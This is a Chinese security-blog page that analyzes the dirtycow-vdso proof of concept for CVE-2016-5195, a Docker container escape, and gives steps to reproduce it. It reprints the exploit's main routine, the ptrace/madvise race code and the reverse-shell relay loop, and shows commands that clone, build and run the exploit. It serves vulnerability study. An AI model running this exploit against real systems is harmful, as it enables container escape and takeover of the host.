🖌️
Functfan的格物致知
  • 写在前面
  • java技术
    • J2EE 全面简介
  • java安全
    • 反序列化漏洞
      • 序列化/反~
      • Ysoserial
        • Java反序列化之Vaadin1
        • Java反序列化之Groovy1
        • Java反序列化之Jdk7u21
        • Java反序列化之Commons beanUtils
        • Java反序列化之Commons-Collections
          • CommonsCollections1
          • CommonsCollections2
          • CommonsCollections1
          • CommonsCollections2
          • CommonsCollections3
          • CommonsCollections4
          • CommonsCollections5
          • CommonsCollections6
          • CommonsCollections7
      • Marshalsec
    • XXE漏洞
      • XXE爱之初印象
      • XXE漏洞写法及防御
      • XXExploiter工具
  • web安全
    • 一句话木马
  • 渗透测试
    • 网络资产收集
    • 端口服务探测
    • 边界突破
    • 内网穿透
    • 容器与K8S安全测试
  • 漏洞挖掘
    • web类框架研究报告
      • Xstream经验
      • weblogic漏洞研究经验笔记
      • WebLogic安全研究报告
    • 漏洞挖掘入门
      • 小白入门
      • 源代码审计方法
        • Java类编译与反编译基础
        • IDEA使用技巧
        • IDEA Java程序调试
      • Fuzzing技术
        • 方法论
          • fuzzing的四个技能
        • 工具集
          • tmnt-Web应用漏洞fuzzer
          • wfuzz-web app fuzzer
          • AFL-基于变异的fuzz工具
      • 物联网漏洞挖掘技术
        • 物联网设备固件模拟分析环境*(亲测下载好慢,不建议使用该教程)
        • 智能设备漏洞挖掘之固件提取
        • pwndbg调试工具使用教程
    • 漏洞情报监测
    • 漏洞安全检测工具
      • 容器安全检测脚本总结
      • WebLogic漏洞检测小工具
    • 漏洞复现
      • 操作系统
        • windows
        • Linux
          • 脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析
          • Dirty CoW脏牛内核提权漏洞(CVE-2016-5195)
      • 数据库
      • WEB服务组件
        • CVE-2020-2883
        • F5 BIG-IP远程代码执行漏洞(CVE-2020-5902)
        • Apache Solr 远程命令执行漏洞(CVE-2019-0193)
      • 云计算安全
        • CVE-2020-15257-容器逃逸-containerd
      • 物联网安全
        • TP-Link SR20 本地网络远程代码执行漏洞
  • CTF比赛
    • BUUCTF-练习场web
    • xctf-攻防世界新手练习区web
    • Exploit利器——Pwntools
  • 新技术研究
    • 区块链
    • 云原生安全
      • 虚拟化hypervisor简介
      • Docker容器基础
        • 云原生攻防研究:容器基础
          • Linux内核基础
          • Docker容器基础
          • 理解容器进程
          • 组件组成:剖析 Docker 组件作用及其底层工作原理
          • Docker镜像的内部结构(四)
          • docker之namespace,cgroup与unionFS
          • Linux内核安全模块之AppArmor
          • Linux沙箱之seccomp
          • Linux权限管理之Capabilities
        • 云原生攻防研究:Docker安全性与攻击面分析
        • 云原生攻防研究:容器逃逸技术概览
        • 云原生攻防研究:针对容器的渗透测试方法
        • 云原生攻防研究:漏洞缓解技术
      • Kubernetes容器编排基础
        • k8s基本概念
        • 云原生攻防研究:Kubernetes安全分析
        • 云原生攻防研究:Kubernetes攻击矩阵
    • 联邦安全
    • 云边协同
    • 安全多方计算
由 GitBook 提供支持
在本页
  • 利用代码原出处
  • 一 . 代码运行流程
  • 二 . 函数分析
  • 1 . htonl/htons
  • 2 . prase_ip_port
  • 3 . get_vdso_addr
  • 4 . fingerprint_prologue
  • 5 . patch_payload
  • 6 . build_vdso_patch
  • 7 . create_socket
  • 8 . exploit
  • 9 . yeah
  • 容器逃逸漏洞复现
  1. 漏洞挖掘
  2. 漏洞复现
  3. 操作系统
  4. Linux

脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析

脏牛漏洞-Docker逃逸

上一页Linux下一页Dirty CoW脏牛内核提权漏洞(CVE-2016-5195)

最后更新于4年前

以下内容来自「CSDN博主 的文章」以及「的文章--」,如有侵权,请联系删除!

利用代码原出处

本人GitHub也保留有漏洞利用相关代码

作者 : 武汉大学Docker安全研究小组

一 . 代码运行流程

Main函数

int main(int argc, char *argv[])
{
    struct prologue *prologue;
    struct mem_arg arg;
    uint16_t port;
    uint32_t ip;
    int s;

    ip = htonl(PAYLOAD_IP);
    port = htons(PAYLOAD_PORT);

    if (argc > 1) {
        if (parse_ip_port(argv[1], &ip, &port) != 0)
            return EXIT_FAILURE;
    }

    fprintf(stderr, "[*] payload target: %s:%d\n",
        inet_ntoa(*(struct in_addr *)&ip), ntohs(port));

    arg.vdso_addr = get_vdso_addr();
    if (arg.vdso_addr == NULL)
        return EXIT_FAILURE;

    prologue = fingerprint_prologue(arg.vdso_addr);
    if (prologue == NULL) {
        fprintf(stderr, "[-] this vDSO version isn't supported\n");
        fprintf(stderr, "    add first entry point instructions to prologues\n");
        return EXIT_FAILURE;
    }

    if (patch_payload(prologue, ip, port) == -1)
        return EXIT_FAILURE;

    if (build_vdso_patch(arg.vdso_addr, prologue) == -1)
        return EXIT_FAILURE;

    s = create_socket(port);
    if (s == -1)
        return EXIT_FAILURE;

    if (exploit(&arg, true) == -1) {
        fprintf(stderr, "exploit failed\n");
        return EXIT_FAILURE;
    }

    yeah(&arg, s);

    return EXIT_SUCCESS;
}

二 . 函数分析

1 . htonl/htons

htonl 传统内存数据存储方式 -> 网络字节存储 4字节

    eg : htonl(0x1234) -> 0x4321

htons 传统内存数据存储方式 -> 网络字节存储 2字节

    eg :  htons(0x12)   -> 0x21

2 . prase_ip_port

函数原型

static int 
    parse_ip_port(char *str, uint32_t *ip, uint16_t *port)

函数介绍

如果输入参数有:,则将:前的字符转化为IP,后面的字符转化为端口并赋值给port

使用示例

eg:prase_ip_port("127.0.0.1:1234", ip, port)
调用结果:
    IP = 127.0.0.1
    PORT = 1234

3 . get_vdso_addr

函数原型

static void *get_vdso_addr(void)
{
    return (void *)getauxval(AT_SYSINFO_EHDR);
}

函数介绍 通过getauxval()函数获取vDSO的地址

4 . fingerprint_prologue

函数原型

static struct prologue *
    fingerprint_prologue(void *vdso_addr)

函数介绍

通过vDSO的首地址,找到clock_gettime()函数的地址,然后对比clock_gettime函数前几个字符和prologue[]数组的每一项,如果存在匹配项,则说明可以Inline Hook,返回匹配的prologue数组项

关键代码

for (i = 0; i < ARRAY_SIZE(prologues); i++) {
        p = &prologues[i];
        if (memcmp((void *)clock_gettime_addr, p->opcodes, p->size) == 0)
            return p;
    }

5 . patch_payload

函数原型

static int 
    patch_payload(struct prologue *p, uint32_t ip, uint16_t port)

函数介绍

将payload中的IP,PORT,prologue项,分别替换成新的IP,PORT(通过参数修改),prologue(通过fingerprint_prologue()匹配得到)

6 . build_vdso_patch

函数原型

static int 
    build_vdso_patch(void *vdso_addr, struct prologue *prologue)

函数介绍 填充vdso_patch数组,如果要放置payload的内存地址数据不为0,则提示 failed to find a place for the payload

vdso_patch数组元素介绍

vdso_patch[0]

vdso_patch[1]

patch

payload

buf = “e8 0xxxxx”

copy

保存原内存数据的内存地址

保存clock_gettime前prologue->size字节数据的内存地址

size

payload_len

prologue->size

addr

payload将要被复制到的内存地址

clock_gettime的地址

7 . create_socket

函数原型

static int create_socket(uint16_t port)

函数介绍 设置一个监听socket,等待payload被执行,向这个socket发起连接

8 . exploit

函数原型

static int exploit(struct mem_arg *arg, bool do_patch)

函数介绍,通过漏洞,将数据写到指定内存地址 do_patch = true => 将payload写进vDSO,修改clock_gettime前面几个字节为jmp payload do_patch = false => 将vDSO地址中原来的数据还原回去

主要代码

    pid = fork();
    if (pid == -1) {
        warn("fork");
        return -1;
    } else if (pid == 0) {
        check(arg);
    }

    arg->stop = false;
    pthread_create(&pth1, NULL, madviseThread, arg);
    pthread_create(&pth2, NULL, ptrace_thread, arg);

这里开启两个进程,子进程不停检查数据是否成功写入,成功则返回0,否则返回1 主线程开启两个线程, ptrace_thread 向vDSO写 madvise_thread 将vDSO映射空间释放,对ptrace线程造成干扰,从而触发漏洞,写入成功 ptrace循环写

while (n >= sizeof(long)) {
        memcpy(&value, s, sizeof(value));
        if (ptrace(PTRACE_POKETEXT, pid, d, value) == -1) {
            warn("ptrace(PTRACE_POKETEXT)");
            return -1;
        }

        n -= sizeof(long);
        d += sizeof(long);
        s += sizeof(long);
    }

madivise循环释放

while (!arg->stop) {
        if (madvise(arg->vdso_addr, VDSO_SIZE, MADV_DONTNEED) == -1) {
            warn("madvise");
            break;
        }
    }

9 . yeah

函数原型

static int yeah(struct mem_arg *arg, int s)

函数介绍 等待连接 还原原vDSO空间数据 处理连接后的数据发送与接收

关键代码 循环等待连接,有连接之后就关闭监听

    while (1) {
        c = accept(s, (struct sockaddr *)&addr, &addr_len);
        if (c == -1) {
            if (errno == EINTR)
                continue;
            warn("accept");
            return -1;
        }
        break;
    }

    close(s);

连接成功后,将vDSO还原

if (fork() == 0) {
        if (exploit(arg, false) == -1)
            fprintf(stderr, "[-] failed to restore vDSO\n");
        exit(0);
    }

绑定输入输出到socket,处理连接数据

    fds[0].fd = STDIN_FILENO;
    fds[0].events = POLLIN;

    fds[1].fd = c;
    fds[1].events = POLLIN;

    nfds = 2;
    while (nfds > 0) {
        if (poll(fds, nfds, -1) == -1) {
            if (errno == EINTR)
                continue;
            warn("poll");
            break;
        }

        if (fds[0].revents == POLLIN) {
            n = read(STDIN_FILENO, buf, sizeof(buf));
            if (n == -1) {
                if (errno != EINTR) {
                    warn("read(STDIN_FILENO)");
                    break;
                }
            } else if (n == 0) {
                break;
            } else {
                writeall(c, buf, n);
            }
        }

        if (fds[1].revents == POLLIN) {
            n = read(c, buf, sizeof(buf));
            if (n == -1) {
                if (errno != EINTR) {
                    warn("read(c)");
                    break;
                }
            } else if (n == 0) {
                break;
            } else {
                writeall(STDOUT_FILENO, buf, n);
            }
        }
    }

容器逃逸漏洞复现

测试环境虚拟机:ubuntu14.04,安装docker

1、安装docker:

apt-get install docker.io

2、在docker中pull一个ubuntu:14.04

docker pull ubuntu:14.04docker images

看看已有容器

3、 接下来我们创建一个守护态的Docker容器,然后使用docker attach命令进入该容器。

docker run -itd ubuntu:14.04 /bin/bash

4、然后我们使用docker ps查看到该容器CONTAINER ID信息,接下来就使用docker attach进入该容器

docker attach CONTAINER ID

5、安装编译软件,下载exp

apt-get install -y build-essential
apt-get install -y nasm
apt-get install -y git
git clone https://github.com/scumjr/dirtycow-vdso
make
ifconfig

make完后在目录多出一个0xdeadbeef,执行命令: ./0xdeadbeef docker的IP:端口

等一会然后发现终端没输出了,在里面输入命令会有回显

对比IP地址,上图为宿主,下图为docker容器

7、用下面2中方式启动容器依然可以

docker run --cap-drop setuid -itd zangniu:1 /bin/bash
docker --selinux-enabled=false run -itd zangniu:1 /bin/bash

具体安装可见官方文档:

6、提权原理可以看

enjoy5512
脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析
Lyy's Blog
docker用脏牛逃逸到宿主机
代码原帖
CVE-2016-5195
https://docs.docker.com/install/linux/docker-ce/ubuntu/
https://bbs.pediy.com/thread-220057.htm
https://blog.csdn.net/enjoy5512/article/details/53196047